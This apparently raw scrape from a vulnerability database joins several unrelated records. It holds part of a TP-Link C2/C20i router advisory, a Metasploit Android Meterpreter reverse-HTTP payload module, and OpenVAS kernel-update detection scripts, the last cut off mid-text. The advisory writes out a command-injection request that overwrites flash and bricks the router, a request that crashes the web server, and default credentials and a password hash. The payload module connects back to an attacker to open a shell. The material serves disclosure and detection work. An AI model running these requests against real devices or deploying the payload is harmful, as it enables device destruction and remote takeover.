#\r\n\r\n\r\n\r\nWith this RCE, an attacker will be able to dump and modify the\r\nconfiguration by editing /dev/mtd3.\r\nThe configuration is written in XML format and is located in the\r\nbeginning (starting at offset 0x10) of this MTD (64K).\r\n\r\n\r\nIf the attacker sends this string, the router will be unable to boot\r\nand will be bricked, by writing random characters on top of the u-boot\r\npartition:\r\n\r\nPOST /cgi?2 HTTP/1.1\r\nHost: 192.168.1.1\r\nContent-Type: text/plain\r\nReferer: http://192.168.1.1/mainFrame.htm\r\nContent-Length: 208\r\nCookie: Authorization=Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\n\r\n\r\n[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\ndataBlockSize=64\r\ntimeout=1\r\nnumberOfRepetitions=1\r\nhost=$(echo 127.0.0.1; cat /dev/random > /dev/mtd0)\r\nX_TP_ConnName=ewan_ipoe_d\r\ndiagnosticsState=Requested\r\n\r\n\r\n\r\n## Details - DoSing the HTTP server\r\n\r\nWhile being authenticated (see the credentials in base64 format),\r\nsending this HTTP request directly will crash the remote HTTP server:\r\n\r\nGET /cgi/ansi HTTP/1.1\r\nHost: 192.168.1.1\r\nContent-Type: text/plain\r\nReferer: http://192.168.1.1/mainFrame.htm\r\nContent-Length: 208\r\nCookie: Authorization=Basic YWRtaW46YWRtaW4=\r\nConnection: close\r\n\r\n\r\nA resulting core file will be written in the router inside the /var\r\npartition of the attacked router:\r\n\r\n/var # ls -la /var/\r\ndrwxrwxrwx 2 0 lock\r\ndrwxrwxrwx 2 0 log\r\ndrwxrwxrwx 2 0 run\r\ndrwxrwxrwx 7 0 tmp\r\ndrwxr-xr-x 3 0 Wireless\r\ndrwxrwxrwx 2 0 usbdisk\r\ndrwxrwxrwx 2 0 dev\r\ndrwxr-xr-x 5 0 samba\r\n- -rw-r--r-- 1 132 passwd\r\ndrwxrwxrwx 2 0 3G\r\ndrwxrwxrwx 2 0 l2tp\r\ndrwxrwxrwx 7 0 vsftp\r\n- -rw------- 1 348160 core-httpd-506-11-1482798208\r\ndrwxr-xr-x 13 177 ..\r\ndrwxr-xr-x 13 0 .\r\n/var #\r\n\r\n\r\n\r\n## Details - Permissive Iptables rules\r\n\r\nThe default iptables rules are generated within /lib/libcmm.so by\r\nwriting commands inside /var/tmp/dconf/rc.router and using system() on\r\nthis file.\r\n\r\n/var/tmp/dconf/rc.router:\r\n\r\n#!/bin/sh\r\n[...]\r\niptables -t nat -A POSTROUTING -j NATLOOPBACK_UPNP_SECCONN\r\niptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_DMZ\r\niptables -t nat -A PREROUTING -j PREROUTING_DMZ\r\niptables -t filter -A FORWARD -i br+ -j ACCEPT\r\niptables -t filter -A FORWARD -d 224.0.0.0/4 -j ACCEPT\r\n[...]\r\n\r\n\r\nBy default, the SNMP port is open on every interface:\r\n\r\n iptables -A INPUT -p udp --dport 161 -j ACCEPT\r\n\r\nThis can be verified with iptables on the router:\r\n\r\n/proc # iptables -nL\r\nChain INPUT (policy DROP)\r\n[...]\r\nACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:161\r\n[...]\r\n\r\nYou can check too by reading the file /var/tmp/dconf/rc.router.\r\n\r\nLuckily, even if SNMP configuration can be modified using the hidden\r\n/main/snmp.html webpage,\r\nit appears the snmpd has been removed from the firmware image.\r\n\r\n\r\n## Details - Misc\r\n\r\nThe binaries (/usr/bin/cos, /usr/bin/tmpd, /lib/libcmm.so) are overall\r\nbadly designed programs, executing tons of system() and running as\r\nroot.\r\n\r\n/usr/bin/cos is a daemon running as root and is launched at the end of\r\n/etc/init.d/rcS (`cos &`): it starts all the daemons using system\r\n(httpd ntpc dnsProxy dhcpd dhcpc snmpd upnpd diagTool voip_server\r\nvoip_client pjsua cwmp wlNetlinkTool pppd dyndns igmpd zebra ushare\r\nsmbd vsftpd telnetd, noipdns hostapd ipsecVpn radvd mldProxy racoon\r\nwscd...)\r\n/usr/bin/tmpd is a daemon running as root and listens to 127.0.0.1:20002.\r\n/lib/libcmm.so is a library with all the main system functions (system\r\nreinitialisation\r\n[admin:$1$$iC.dUsGpxNNJGeOm1dFio/:0:0:root:/:/bin/sh], wifi\r\nconfiguration, debugging with TFTP[hi dutserver!], VPN configuration,\r\n`ifconfig interfaces`, `insmod /lib/modules/pptp.ko`, ...)\r\n\r\n\r\nVsftpd contains default weak passwords:\r\n\r\n[email\u00a0protected]:~$ cat ./etc/vsftpd_passwd\r\nadmin:1234:1:1;guest:guest:0:0;test:test:1:1;$\r\n[email\u00a0protected]:~$\r\n\r\nAccess:\r\n\r\nadmin:1234\r\nguest:guest\r\ntest:test\r\n\r\n\r\n\r\n## Vendor Response\r\n\r\nT-P-Link plans to release a new firmware in February 2017, patching\r\nall listed vulnerabilities. T-P-Link wants to draw attention that in\r\norder to exploit two over three security vulnerabilities, an attacker\r\nwould need to have valid credentials.\r\n\r\n\r\n\r\n## Report Timeline\r\n\r\n* Sep 17, 2016: Vulnerabilities found by Pierre Kim.\r\n* Dec 26, 2016: TP-Link support is contacted by livechat. TP-Link\r\nreplies there is no process to handle security problems in TP-Link\r\nrouters and refuses to indicate a security point of contact.\r\n* Dec 27, 2016: TP-Link support is notified of the vulnerabilities\r\n(using support () tp-link.com, security () tp-link.com, lishaozhang ()\r\ntp-link.net [from /lib/modules/ipt_STAT.ko], huangwenzhong ()\r\ntp-link.net [from /lib/modules/tp_domain.ko]).\r\n* Dec 29, 2016: Pierre sends a full advisory to TP-Link security team.\r\n* Dec 30, 2016: TP-Link confirms the reception of the advisory.\r\n* Jan 03, 2017: Pierre asks TP-Link to confirm the vulnerabilities.\r\n* Jan 09, 2017: TP-Link confirms the security vulnerabilities in\r\nTP-Link C2 and C20i routers and security patches are in progress.\r\n* Jan 21, 2017: Ping from TP-Link about the \"Vendor Response\" section.\r\n* Jan 23, 2017: Pierre answers, asking details in the \"Vendor Response\" section.\r\n* Jan 24, 2017: TP-Link Korea contacts Pierre Kim about the vulnerabilities.\r\n* Jan 27, 2017: Pierre sends a final draft to TP-Link.\r\n* Feb 09, 2017: A public advisory is sent to security mailing lists.\r\n\r\n\r\n\r\n## Credit\r\n\r\nThe vulnerabilities were found by Pierre Kim (@PierreKimSec).\r\n\r\n\r\n\r\n## References\r\n\r\nhttps://pierrekim.github.io/advisories/2017-tplink-0x00.txt\r\nhttps://pierrekim.github.io/blog/2017-02-09-tplink-c2-and-c20i-vulnerable.html\n\n# 0day.today [2018-04-03] #", "sourceHref": "https://0day.today/exploit/26951", "cvss": {"score": 0.0, "vector": "NONE"}}], "metasploit": [{"lastseen": "2019-11-29T01:14:07", "bulletinFamily": "exploit", "description": "Connect back to attacker and spawn a Meterpreter shell\n", "modified": "2017-07-24T13:26:21", "published": "2016-09-14T14:31:55", "id": "MSF:PAYLOAD/ANDROID/METERPRETER_REVERSE_HTTP", "href": "", "type": "metasploit", "title": "Android Meterpreter Shell, Reverse HTTP Inline", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core/handler/reverse_http'\nrequire 'msf/core/payload/transport_config'\nrequire 'msf/core/payload/android'\nrequire 'msf/core/payload/uuid/options'\nrequire 'msf/base/sessions/meterpreter_android'\nrequire 'msf/base/sessions/meterpreter_options'\nrequire 'rex/payloads/meterpreter/config'\n\nmodule MetasploitModule\n\n CachedSize = :dynamic\n\n include Msf::Payload::TransportConfig\n include Msf::Payload::Single\n include Msf::Payload::Android\n include Msf::Payload::UUID::Options\n include Msf::Sessions::MeterpreterOptions\n\n\n def initialize(info = {})\n\n super(merge_info(info,\n 'Name' => 'Android Meterpreter Shell, Reverse HTTP Inline',\n 'Description' => 'Connect back to attacker and spawn a Meterpreter shell',\n 'License' => MSF_LICENSE,\n 'Platform' => 'android',\n 'Arch' => ARCH_DALVIK,\n 'Handler' => Msf::Handler::ReverseHttp,\n 'Session' => Msf::Sessions::Meterpreter_Java_Android,\n 'Payload' => '',\n ))\n end\n\n #\n # Generate the transport-specific configuration\n #\n def transport_config(opts={})\n transport_config_reverse_http(opts)\n end\n\n def generate_jar(opts={})\n uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))\n opts[:uri] = generate_uri_uuid_mode(:connect, uri_req_len)\n opts[:stageless] = true\n super(opts)\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/payloads/singles/android/meterpreter_reverse_http.rb"}], "openvas": [{"lastseen": "2019-05-29T18:35:29", "bulletinFamily": "scanner", "description": "The remote host is missing an update for the ", "modified": "2019-02-28T00:00:00", "published": "2016-06-03T00:00:00", "id": "OPENVAS:1361412562310851320", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310851320", "title": "SuSE Update for the Linux Kernel openSUSE-SU-2016:1382-1 (kernel)", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_suse_2016_1382_1.nasl 13941 2019-02-28 14:35:50Z cfischer $\n#\n# SuSE Update for the Linux Kernel openSUSE-SU-2016:1382-1 (kernel)\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2016 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.851320\");\n script_version(\"$Revision: 13941 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-02-28 15:35:50 +0100 (Thu, 28 Feb 2019) $\");\n script_tag(name:\"creation_date\", value:\"2016-06-03 16:25:04 +0530 (Fri, 03 Jun 2016)\");\n script_cve_id(\"CVE-2016-2185\", \"CVE-2016-2186\", \"CVE-2016-2188\", \"CVE-2016-2847\",\n \"CVE-2016-3136\", \"CVE-2016-3137\", \"CVE-2016-3138\", \"CVE-2016-3140\",\n \"CVE-2016-3156\", \"CVE-2016-3689\", \"CVE-2016-3951\");\n script_tag(name:\"cvss_base\", value:\"4.9\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:N/I:N/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"SuSE Update for the Linux Kernel openSUSE-SU-2016:1382-1 (kernel)\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'kernel'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"insight\", value:\"The openSUSE Leap 42.1 kernel was updated to receive various security and\n bugfixes.\n\n The following security bugs were fixed:\n\n - CVE-2016-2847: Limit the per-user amount of pages allocated in pipes\n (bsc#970948).\n\n - CVE-2016-3136: mct_u232: add sanity checking in probe (bnc#970955).\n\n - CVE-2016-2188: iowarrior: fix oops with malicious USB descriptors\n (bnc#970956).\n\n - CVE-2016-3138: cdc-acm: more sanity checking (bnc#970911).\n\n - CVE-2016-3137: cypress_m8: add endpoint sanity check (bnc#970970).\n\n - CVE-2016-3951: cdc_ncm: do not call usbnet_link_change from cdc_ncm_bind\n (bnc#974418).\n\n - CVE-2016-3140: digi_acceleport: do sanity checking for the number of\n ports (bnc#970892).\n\n - CVE-2016-2186: powermate: fix oops with malicious USB descriptors\n (bnc#970958).\n\n - CVE-2016-2185: usb_driver_claim_interface: add sanity checking\n (bnc#971124).\n\n - CVE-2016-3689: ims-pcu: sanity check against missing interfaces\n (bnc#971628).\n\n - CVE-2016-3156: ipv4: Do not do expensive useless work during inetdev\n destroy (bsc#971360).\n\n The following non-security bugs were fixed:\n\n - ALSA: timer: Call notifier in the same spinlock (bsc#973378).\n\n - ALSA: timer: Protect the whole snd_timer_close() with open race\n (bsc#973378).\n\n - ALSA: timer: Sync timer deletion at closing the system timer\n (bsc#973378).\n\n - ALSA: timer: Use mod_timer() for rearming the system timer (bsc#973378).\n\n - Backport arm64 patches from SLE12-SP1-ARM\n\n - Fix kABI additions for pipe: limit the per-user amount of pages\n allocated in pipes.\n\n - Revert 'drm/radeon: call hpd_irq_event on resume' (boo#975868).\n\n - Update config files. Enable RTC_HCTOSYS, build I2C_XGENE_SLIMPRO as a\n module.\n\n - backends: guarantee one time reads of shared ring contents (bsc#957988).\n\n - ext4: fix races between buffered IO and collapse / insert range\n (bsc#972174).\n\n - ext4: fix races between page faults and hole punching (bsc#972174).\n\n - ext4: fix races of writeback with punch hole and zero range (bsc#972174).\n\n - ext4: move unlocked dio protection from ext4_alloc_file_blocks()\n (bsc#972174).\n\n - net: thunderx: Use napi_schedule_irqoff()\n\n - netback: do not use last request to determine minimum Tx credit\n (bsc#957988).\");\n script_tag(name:\"affected\", value:\"kernel on openSUSE Leap 42.1\");\n script_tag(name:\"solution\", value:\"Please install the updated packages.\");\n\n script_xref(name:\"openSUSE-SU\", value:\"2016:1382_1\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2016 Greenbone Networks GmbH\");\n script_family(\"SuSE Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/suse\", \"ssh/login/rpms\", re:\"ssh/login/release=openSUSELeap42\\.1\");\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release) exit(0);\nres = \"\";\n\nif(release == \"openSUSELeap42.1\")\n{\n\n if ((res = isrpmvuln(pkg:\"kernel-debug\", rpm:\"kernel-debug~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-debug-base\", rpm:\"kernel-debug-base~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-debug-base-debuginfo\", rpm:\"kernel-debug-base-debuginfo~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-debug-debuginfo\", rpm:\"kernel-debug-debuginfo~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-debug-debugsource\", rpm:\"kernel-debug-debugsource~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-debug-devel\", rpm:\"kernel-debug-devel~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-debug-devel-debuginfo\", rpm:\"kernel-debug-devel-debuginfo~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-ec2\", rpm:\"kernel-ec2~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-ec2-base\", rpm:\"kernel-ec2-base~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-ec2-base-debuginfo\", rpm:\"kernel-ec2-base-debuginfo~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-ec2-debuginfo\", rpm:\"kernel-ec2-debuginfo~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-ec2-debugsource\", rpm:\"kernel-ec2-debugsource~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-ec2-devel\", rpm:\"kernel-ec2-devel~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-pv\", rpm:\"kernel-pv~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-pv-base\", rpm:\"kernel-pv-base~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-pv-base-debuginfo\", rpm:\"kernel-pv-base-debuginfo~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-pv-debuginfo\", rpm:\"kernel-pv-debuginfo~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-pv-debugsource\", rpm:\"kernel-pv-debugsource~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-pv-devel\", rpm:\"kernel-pv-devel~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-vanilla\", rpm:\"kernel-vanilla~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-vanilla-debuginfo\", rpm:\"kernel-vanilla-debuginfo~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-vanilla-debugsource\", rpm:\"kernel-vanilla-debugsource~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-vanilla-devel\", rpm:\"kernel-vanilla-devel~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-xen\", rpm:\"kernel-xen~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-xen-base\", rpm:\"kernel-xen-base~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-xen-base-debuginfo\", rpm:\"kernel-xen-base-debuginfo~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-xen-debuginfo\", rpm:\"kernel-xen-debuginfo~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-xen-debugsource\", rpm:\"kernel-xen-debugsource~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-xen-devel\", rpm:\"kernel-xen-devel~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-default\", rpm:\"kernel-default~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-default-base\", rpm:\"kernel-default-base~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-default-base-debuginfo\", rpm:\"kernel-default-base-debuginfo~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-default-debuginfo\", rpm:\"kernel-default-debuginfo~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-default-debugsource\", rpm:\"kernel-default-debugsource~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-default-devel\", rpm:\"kernel-default-devel~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-obs-build\", rpm:\"kernel-obs-build~4.1.21~14.4\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-obs-build-debugsource\", rpm:\"kernel-obs-build-debugsource~4.1.21~14.4\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-obs-qa\", rpm:\"kernel-obs-qa~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-obs-qa-xen\", rpm:\"kernel-obs-qa-xen~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-syms\", rpm:\"kernel-syms~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-devel\", rpm:\"kernel-devel~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-docs\", rpm:\"kernel-docs~4.1.21~14.5\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-docs-html\", rpm:\"kernel-docs-html~4.1.21~14.5\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-docs-pdf\", rpm:\"kernel-docs-pdf~4.1.21~14.5\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-macros\", rpm:\"kernel-macros~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-source\", rpm:\"kernel-source~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-source-vanilla\", rpm:\"kernel-source-vanilla~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-pae\", rpm:\"kernel-pae~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-pae-base\", rpm:\"kernel-pae-base~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-pae-base-debuginfo\", rpm:\"kernel-pae-base-debuginfo~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-pae-debuginfo\", rpm:\"kernel-pae-debuginfo~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-pae-debugsource\", rpm:\"kernel-pae-debugsource~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isrpmvuln(pkg:\"kernel-pae-devel\", rpm:\"kernel-pae-devel~4.1.21~14.2\", rls:\"openSUSELeap42.1\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 4.9, "vector": "AV:L/AC:L/Au:N/C:N/I:N/A:C"}}, {"lastseen": "2019-05-29T18:35:25", "bulletinFamily": "scanner", "description": "The remote host is missing an update for the ", "modified": "2019-03-13T00:00:00", "published": "2016-05-17T00:00:00", "id": "OPENVAS:1361412562310842759", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310842759", "title": "Ubuntu Update for linux-snapdragon USN-2965-4", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Ubuntu Update for linux-snapdragon USN-2965-4\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2016 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.842759\");\n script_version(\"$Revision: 14140 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-13 13:26:09 +0100 (Wed, 13 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2016-05-17 16:25:03 +0200 (Tue, 17 May 2016)\");\n script_cve_id(\"CVE-2016-2184\", \"CVE-2016-2185\", \"CVE-2016-2186\", \"CVE-2016-2188\",\n\t\t\"CVE-2016-3136\", \"CVE-2016-3137\", \"CVE-2016-3138\", \"CVE-2016-3140\",\n\t\t\"CVE-2016-3156\", \"CVE-2016-3157\", \"CVE-2016-3672\", \"CVE-2016-3689\",\n\t\t\"CVE-2016-3951\", \"CVE-2016-3955\", \"CVE-2016-4557\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Ubuntu Update for linux-snapdragon USN-2965-4\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'linux-snapdragon'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"insight\", value:\"Jann Horn discovered that the extended\n Berkeley Packet Filter (eBPF) implementation in the Linux kernel did not properly\n reference count file descriptors, leading to a use-after-free. A local\n unprivileged attacker could use this to gain administrative privileges.\n\n Ralf Spenneberg discovered that the USB sound subsystem in the Linux kernel\n did not properly validate USB device descriptors. An attacker with physical\n access could use this to cause a denial of service (system crash).\n (CVE-2016-2184)\n\n Ralf Spenneberg discovered that the ATI Wonder Remote II USB driver in the\n Linux kernel did not properly validate USB device descriptors. An attacker\n with physical access could use this to cause a denial of service (system\n crash). (CVE-2016-2185)\n\n Ralf Spenneberg discovered that the PowerMate USB driver in the Linux\n kernel did not properly validate USB device descriptors. An attacker with\n physical access could use this to cause a denial of service (system crash).\n (CVE-2016-2186)\n\n Ralf Spenneberg discovered that the I/O-Warrior USB device driver in the\n Linux kernel did not properly validate USB device descriptors. An attacker\n with physical access could use this to cause a denial of service (system\n crash). (CVE-2016-2188)\n\n Sergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered that the\n MCT USB RS232 Converter device driver in the Linux kernel did not properly\n validate USB device descriptors. An attacker with physical access could use\n this to cause a denial of service (system crash). (CVE-2016-3136)\n\n Sergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered that the\n Cypress M8 USB device driver in the Linux kernel did not properly validate\n USB device descriptors. An attacker with physical access could use this to\n cause a denial of service (system crash). (CVE-2016-3137)\n\n Sergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered that the\n USB abstract device control driver for modems and ISDN adapters did not\n validate endpoint descriptors. An attacker with physical access could use\n this to cause a denial of service (system crash). (CVE-2016-3138)\n\n Sergej Schumilo, Hendrik Schwartke, and Ralf Spenneberg discovered that the\n Linux kernel's USB driver for Digi AccelePort serial converters did 